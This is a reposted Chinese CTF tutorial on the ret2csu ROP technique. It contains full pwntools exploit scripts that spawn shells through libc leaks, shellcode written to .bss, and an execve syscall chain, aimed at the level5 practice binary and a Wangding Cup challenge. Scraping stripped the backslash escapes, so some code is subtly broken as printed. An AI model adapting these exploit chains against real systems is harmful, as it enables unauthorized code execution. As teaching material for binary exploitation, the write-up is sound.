Mac PWN 入門系列(七)Ret2Csu


Mac PWN 入門系列(七)Ret2Csu

發布時間:2020-05-21 10:00:15

 

0x0 PWN入門系列文章列表

Mac 環境下 PWN入門系列(一)

Mac 環境下 PWN入門系列(二)

Mac 環境下 PWN入門系列(三)

Mac 環境下 PWN入門系列 (四)

Mac 環境下 PWN入門系列 (五)

Mac 環境下 PWN入門系列 (六)

 

0x1 前言

網鼎杯白虎組那個of F 的題目出的很是時候,非常好的一道base64位ROP的題目,剛好用來當做本次64位ROP利用的典型例子,這里筆者就從基礎知識到解決該題目,與各位小萌新一起分享下學習過程。

 

0x2 ret2csu

通過上一篇的學習,我們可以知道

64位程序的參數傳遞與32位有比較大的差別,前6個參數 由rdi rsi rdx rcx r8 r9 寄存器進行存放,在64位的程序中調用lib.so的時候會使用一個函數__libc_csu_init來進行初始化,通過這個函數里面的匯編片段,我們可以很巧妙控制到前3個參數和其他的寄存器,也能控制調用的函數地址,這個gadget 我們稱之為64位的萬能gadget,非常常用,學習ROP64位,是必不可少的一個環節。

上圖是程序執行時加載流程。

下面我們一起來學習下吧。

題目獲取:git clone https://github.com/zhengmin1989/ROP_STEP_BY_STEP.git

里面的level5 就是我們本次分析的題目。

這里我們先查看下匯編代碼:

  1. AT&T 風格objdump -- help
      -d, --disassemble        Display assembler contents of executable sections
      -D, --disassemble-all    Display assembler contents of all sections
    

    這里我們反匯編下執行部分的sections

    objdump -d ./level5

  2. 8086風格這里可以直接上ida或者objdump -d ./level5 -M intel

64位ROP利用.assets/image-20200519095700969.png)

閱讀的時候注意兩者的源操作數與目的操作數的位置即可。

這里最適合閱讀的話,推薦odjdump -d ./level5 -M intel

image-20200519101222056

我們先簡單分析下這個代碼:

ret2cus的靈魂之處體現在 gadget2 利用 gadget1 准備的數據來控制edi、rsi、rdx和控制跳轉任意函數。

這里是gadget1部分代碼

  400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
  40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
  400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400624:       48 83 c4 38             add    rsp,0x38
  400628:       c3                      ret

這里可以看到rbx、rbp、r12、r13、r14、r15 可以由棧上rsp偏移+0x8 、+0x10、+0x20、+0x28、+0x30來決定

最后rsp進行+0x38,然后ret,這里就很好形成了一個gagdet了,因為ret的作用就是 pop rip,也就是說我們能控制gadget1結束后的rip。上面的代碼是16進制的,可能不是很好理解,這里有個師傅的圖畫的相當形象(這里我做了一些修改,我們先從簡單的利用開始學起。)

image-20200519111519907

雖然這里我們可以完美控制了rbx等一些寄存器,但是我們參數寄存器是rdi、rsi、rdx、rcx、r8、r9,所以說gadget1好像沒什么用? 這個時候我們就需要用到gadget2了,

  4005f0:       4c 89 fa                mov    rdx,r15
  4005f3:       4c 89 f6                mov    rsi,r14
  4005f6:       44 89 ef                mov    edi,r13d
  4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]

可以看到我們的rdx、rsi、edi 可以由r15、r14、r13低32位來控制,call 由r12+rbx*8來控制,而這些值恰恰是我們gadget1可以控制的值。

但是這樣我們僅僅只是利用gadget1 、 gadget2執行了一次控制,當call返回的時候,程序會繼續向下執行,

如果此時

cmp rbx,rbp; jne 4005f0

如果此時rbx與rbp不相等,則jnp(not equal)則會進入這個循環

image-20200519123449419

從而程序就卡在這里,ebx一直在+1,才退出,這里為了方便控制,我們可以根據gadget1來控制rbx==rbp,從而讓程序繼續向下走,回到了gadget1,在rsp+0x38處布置我們的返回地址,即可完成一次完成的ROP。

根據這個圖(因為反編譯的可能存在一些差異,我的程序可能跟這個圖不太一樣,但是整體邏輯是一樣的)

image-20200519124234773

這個圖其實還是有點問題的,rsp應該向下8字節的位置,rsp指向的其實是第一個p64(0)(這里看作者右邊那個圖,感覺應該是未執行前畫的堆棧圖,那么結果就是對的)

下面我的分析是call gadget1進去gadget2來分析的。

rsp+8指向的rbx,… rsp+48指向的是r15,rsp+56(0x38),正好就是我們的返回地址,這個時候retn(pop rip),執行我們的gadget2,gadget2向下執行的過程中,因為rsp沒有改變,執行到add rsp,38h,此時rsp+0x38,所以我們直接+0x38的位置,然后拼接我們的漏洞函數就可以了。

image-20200519145347719

我們調整下結構就容易寫一個csu的利用函數,方便我們在其他程序中快速利用

def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r13d # rsi=r14 # rdx=r15 payload = p64(csu_end_addr) + p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'A' * 0x38 payload += p64(last) return payload 

這里的注釋寫的很明白, rdi由r13d來控制,rsi由r14來控制,rdx由r15來控制,這里的csu_end_addr是gadget1的開始地址,csu_front_addr是gadget2的開始地址。

也許有些小萌新還是對

    payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)

這個構造感覺還是有點不懂,不過問題不大,我們用exp來解決這個題目,然后分析下,基本就能完整理解了。

首先還是套路三部曲:

1.checksec

image-20200519125837449

沒看棧保護、64位程序

2.ida

image-20200519125950441

這里用了程序加載了 write,read,同時很明顯read函數對buf處讀取存在棧溢出,因為0x200>0x80

我們簡單搜索下,發現這個題目沒有后門函數,也沒有/bin/sh字符串,這個套路其實我們之前也遇到過了。

就是通過棧溢出讓write輸出libc的基地址,然后用read函數往bss段里面寫入/bin/sh然后在調用syscall

即可完成PWN的過程。

3.編寫exp

#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * # from libformatstr import * from LibcSearcher import LibcSearcher debug = True # 設置調試環境 context(log_level = 'debug', arch = 'amd64', os = 'linux') # context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] if debug: sh = process("./level5") elf=ELF('./level5') else: link = "x.x.x.x:xx" ip, port = map(lambda x:x.strip(), link.split(':')) sh = remote(ip, port) elf=ELF('./quantum_entanglement') write_got = elf.got['write'] read_got = elf.got['read'] main_addr = 0x400544 bss_base = elf.bss() csu_end_addr= elf.search('x48x8bx5cx24x08').next() csu_front_addr = elf.search('x4cx89xfa').next() log.success("csu_end_addr => {}".format(hex(csu_end_addr))) log.success("csu_front_addr => {}".format(hex(csu_front_addr))) log.success("write_got => {}".format(hex(write_got))) log.success("read_got => {}".format(hex(read_got))) log.success("main_addr => {}".format(hex(main_addr))) log.success("bss_base => {}".format(hex(bss_base))) def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r13d # rsi=r14 # rdx=r15 payload = p64(csu_end_addr) + "A"*8 + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'A' * 0x38 # 這里+0x38是因為在gadget2中沒有對rsp影響的操作,所以直接+0x38即可 payload += p64(last) return payload sh.recvuntil('Hello, Worldn') payload1 = "A"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr) sh.sendline(payload1) write_addr = u64(sh.recv(8)) log.success("sending payload1 ---> write_addr => {}".format(hex(write_addr))) libc = LibcSearcher('write',write_addr) libc_base_addr = write_addr - libc.dump("write") execve_addr = libc_base_addr + libc.dump("execve") system_addr = libc_base_addr + libc.dump("system") log.success("libc_base_addr => {}".format(hex(libc_base_addr))) log.success("execve_addr => {}".format(hex(execve_addr))) log.success("system_addr => {}".format(hex(system_addr))) # pause() #sh.recvuntil("Hello, Worldn") payload2 = "A"*0x88 + csu(0, 1, read_got, 0, bss_base, 0x100, main_addr) log.success("sending payload2 --->") sh.sendline(payload2) log.success("sending payload3 --->") payload3 = "/bin/shx00" payload3 += p64(system_addr) sh.sendline(payload3) log.success("sending payload4 --->") payload3 = "x00"*0x88 + csu(0, 1, bss_base+8, bss_base, 0, 0, main_addr) sh.sendline(payload3) sh.interactive()

這里我們以payload1 作為分析的樣本

1.payload1 = "x00"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr)

可以看到這里

image-20200519203936802

這個其實對應的調用是write(1, writ_got_addr, 8)

其他的點,建議自己跟一下,如果還不明白, 歡迎加入PWN萌新群,尋找大佬手把手教學。

UVE6OTE1NzMzMDY4 (Base64)

0x2.1 關於ret2csu的題外話

如果你看過ctfwiki的話,里面介紹了res2csu的攻擊方式與本文是有些差異,主要是__libc_csu_init

這個函數由於是編譯的原因(PS.我也是猜的),導致了不同,這里我們可以進行對比看看

這里我們可以重新選擇編譯下那個程序:

gcc -g -fno-stack-protector -no-pie level5.c -o mylevel5

image-20200519205504230

左邊是我們新編譯的mylevel5,這個函數gadget1 與ctf wiki上面的分析是一樣的,gadget2 與 level5 是一樣的,很神奇吧。

右邊是我們上面主要分析的流程的level5

首先是gadget1:

ctf wiki上面是直接選擇了pop rbx開始,所以我的rsp就沒必要+8了,所以

payload = p64(csu_end_addr) + p64(0) +p64(rbx)

我們需要去掉多出來的p64(0)

payload = p64(csu_end_addr)+p64(rbx)

其次是gadget2:

  4005d0: 4c 89 fa mov rdx,r15 4005d3: 4c 89 f6 mov rsi,r14 4005d6: 44 89 ef mov edi,r13d 

可以看到r15控制了rdx,r13d控制了edi,這個和我們上面分析相同,但是在ctfwiki上面的

image-20200519213500674

可以看到r13控制的rdx,r15d控制了edi

def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = 'a' * 0x80 + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) sh.send(payload) sleep(1) 

這是ctf wiki的腳本,但是並沒有具備全兼容性性, 所以我們平時一定要看清楚程序編譯的__libc_csu_init的具體的初始化流程,然后修改下自己的csu的參數和位置。

個人的一些看法:

這個點也是我覺得萌新應該花時間去理解的,要不然只會套腳本,很容易把自己給坑死了。因為在pwn的過程中,環境很大概率會出現各種各樣的問題,自己一定要掌握原理和調試的能力去解決這些問題。

 

0x3 dynELF

前面我們的思路一直是尋找確切的libc的本地版本與遠程版本進行對應,但是在一些特殊情況下,這種方式是行不通的,本地能通,遠程爆炸。這個時候dynELF技術就能解決這類型的一些問題,通過直接dump內存,去尋找libc的中函數地址,在遠程的環境中運行。

0x3.1 淺析原理

這個內容涉及比較深的知識點,鑒於文章篇幅,先挖個坑,后面補上。

 

0x4 網鼎杯白虎組of F WP

最后我們用一道CTF的真題來完結我們的文章吧,據小伙伴說這是一道非常好的64位ROP的題目。

網上也沒有什么寫這個文章,估計有不少小伙伴想試試的,這里我就以這道題目為例簡單運用下ret2csu的思路。

1.checksec

image-20200520013801535

emm,沒開保護,64位程序,

2.ida

image-20200520014041918

很明顯一個gets的棧溢出點

cyclic 200
cyclic -l faab

確定了偏移是120,開了NX,用了gets,先看看能不能shellcode一把梭。

objdump -D pwn -M intel |grep "jump"

發現沒有用到jump的相關指令,這就無語了,我們沒辦法直接跳到shellcode

上執行了,因為你不知道棧的內存地址呀,跳不過去,要是有jump指令的話我們就能控制rip回到棧上向下執行。

image-20200520014052158

image-20200520014210425

存在__lib_csu_init滿足萬能gadget的條件,目前我們還能知道的一個點就是這個程序漏洞是由gets這個函數導致的,所以我們可以用gets來進行任意內容的寫入,同時通過查閱程序內的函數,在init函數中發現了syscall的調用

image-20200520103919029

整理上面的條件

這里有兩種思路我們來看看:

0x3.1 bss段寫入shellcode

gdb下用vmmap查看下發現bss段有rwx權限

image-20200520100142294

這里就很簡單了,直接用gets寫入shellcode,然后ret2csu到call的時候執行bss地址即可。

ROPgadget --binary pwn --only "pop|ret" 找一下發現有pop rdi這樣我們就很方便控制gets

exp:

#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * # from libformatstr import * debug = True # 設置調試環境 context(log_level = 'debug', arch = 'amd64', os = 'linux') context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] if debug: sh = process("./pwn") elf=ELF('./pwn') else: link = "x.x.x.x:xx" ip, port = map(lambda x:x.strip(), link.split(':')) sh = remote(ip, port) elf=ELF('./quantum_entanglement') rc = lambda: sh.recv(timeout=0.5) ru = lambda x:sh.recvuntil(x, drop=True) bss_addr = elf.bss() gets_plt_addr = elf.plt["gets"] pop_rdi_addr = 0x4006a3 shell_code = asm(shellcraft.amd64.linux.sh()) log.success("bss_addr => {}".format(hex(bss_addr))) log.success("gets_plt_addr => {}".format(hex(gets_plt_addr))) log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr))) offset = 0x78 payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr) # pause() # gdb.attach(sh, "*0x400633") sh.sendline(payload) sh.sendline(shell_code) rc() sh.interactive() 

image-20200520110251575

這里沒什么太大的難點,關鍵的構造

payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr) 

應該還是很好理解的吧,調用gets把shellcode寫入到bss段,然后返回到bss段的地址上執行shellcode

0x3.2 syscall系統調用

這個小伙伴說的他做的這個可能是非預期,比如開了NX保護的時候,bss段就沒辦法執行了,但是還是有讀取的權限和寫權限的話,那么通過一個ROP繞過NX保護即可,很實用的一個ROP操作,下面看我分析吧。

了解syscall系統調用

execve(”/bin/sh”,0,0) 這個函數其實就是對系統函數的一個封裝

mov     rdi,offset bss
mov     rsi,0 mov rdx,0 mov rax,3bh syscall ;因為rax為3b,所以執行execve("/bin/sh",0,0) 

其流程如下

1、將 sys_execve 的調用號 0x3B (59) 賦值給 rax
2、將 第一個參數即字符串 “/bin/sh”的地址 賦值給 rdi
3、將 第二個參數 0 賦值給 rsi
4、將 第三個參數 0 賦值給 rdx

首先我們可以通過ret2csu來控制rsi、rdx,然后通過gets向bss段寫入syscallbinsh

但是rax的話,由前面可以知道ret2csu只能的控制的寄存器只有:

rbx rbp r12 r13(rdx) r14(rsi) r15d(edi) 

好像並沒有控制rax的方法,這里我們找找gadget鏈條,並沒有。

這個時候就是知識的力量了

image-20200520114324174

read函數原型:

​ ssize_t read(int fd,void *buf,size_t count)

函數返回值分為下面幾種情況:

1、如果讀取成功,則返回實際讀到的字節數。這里又有兩種情況:一是如果在讀完count要求字節之前已經到達文件的末尾,那么實際返回的字節數將 小於count值,但是仍然大於0;二是在讀完count要求字節之前,仍然沒有到達文件的末尾,這是實際返回的字節數等於要求的count值。

2、如果讀取時已經到達文件的末尾,則返回0。

3、如果出錯,則返回-1。

我們可以調用read函數讀取0x3b長度的自己,然后返回的時候rax會返回0x3b的,然后再調用syscall就可以了。

我們想調用read的時候需要控制rax=0,這個程序剛好滿足。

編寫exp:

首先回到ret2csu上面,根據程序指令我們可以確定csu函數如下結構

結合syscall的指令,后面的gadget用了retn

image-20200520143941571

image-20200520141845651

這里我們就不需要填充到0x38,然后繼續向下執行了,直接拼接在后面即可。

def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) return payload 

完整的EXP如下:

#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * # from libformatstr import * debug = True # 設置調試環境 context(log_level = 'debug', arch = 'amd64', os = 'linux') context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] if debug: sh = process("./pwn") elf=ELF('./pwn') else: link = "x.x.x.x:xx" ip, port = map(lambda x:x.strip(), link.split(':')) sh = remote(ip, port) elf = ELF('./quantum_entanglement') se = lambda x:sh.send(x) sl = lambda x: sh.sendline(x) rc = lambda: sh.recv(timeout=0.5) ru = lambda x:sh.recvuntil(x, drop=True) rn = lambda x:sh.recv(x) un64 = lambda x: u64(x.ljust(8, 'x00')) un32 = lambda x: u32(x.ljust(3, 'x00')) def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 global csu_end_addr global csu_front_addr payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) return payload csu_end_addr = 0x000000000040069A csu_front_addr = 0x0000000000400680 bss_addr = elf.bss()+0x20 gets_plt_addr = elf.plt["gets"] pop_rdi_addr = 0x4006a3 syscall_addr = 0x40061A start = 0x4004F0 log.success("bss_addr => {}".format(hex(bss_addr))) log.success("gets_plt_addr => {}".format(hex(gets_plt_addr))) log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr))) log.success("csu_end_addr => {}".format(hex(csu_end_addr))) log.success("csu_front_addr => {}".format(hex(csu_front_addr))) offset = 0x78 payload1 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(start) # pause() # gdb.attach(sh, "b *0x400633") # pause() sl(payload1) sl(p64(syscall_addr)) payload2 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr+8) + p64(gets_plt_addr) + p64(start) sl(payload2) sl("/bin/shx00") payload3 = offset * "A" payload3 += csu(0, 1, bss_addr, 59, bss_addr+0x20, 0, start) payload3 += csu(0, 1, bss_addr, 0, 0, bss_addr+8, start) sl(payload3) sl("A"*58) sh.interactive() 

這里主要是利用了read(0, bss_addr+0x20), 59),然后傳入值,即可控制rax的返回值為0x

3b.

image-20200520144910422

這個考點的原理是從SROP中發散出來的,平時沒什么人注意,這個可以認真學習一波,不過這里的csu用的還是很巧妙的,能很好地多次刷新寄存器的值,來調用函數。

 

0x5 總結

棧上的套路還是有很多的,如一些地址殘余在棧上、其他變形利用等等,路漫漫其修遠兮,只能通過以賽促練來提高自己了。本來打算把dynelf寫寫,但是發現dynelf網上的文章原理方面介紹比較難理解,所以打算將其作為一個專題來認真學習下,然后再學習下SROP的知識,最終以一篇總結性文章收尾。

 

0x6 參考鏈接

Linux pwn從入門到熟練(三)

菜鳥學PWN之ROP學習)

詳解 De1ctf 2019 pwn——unprintable

ret2csu學習

Linux X86 程序啟動 – main函數是如何被執行的?

Pwntools之DynELF原理探究

Memory Leak & DynELF

淺析棧溢出遇到的坑及繞過技巧

pwn BackdoorCTF2017 Fun-Signals


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM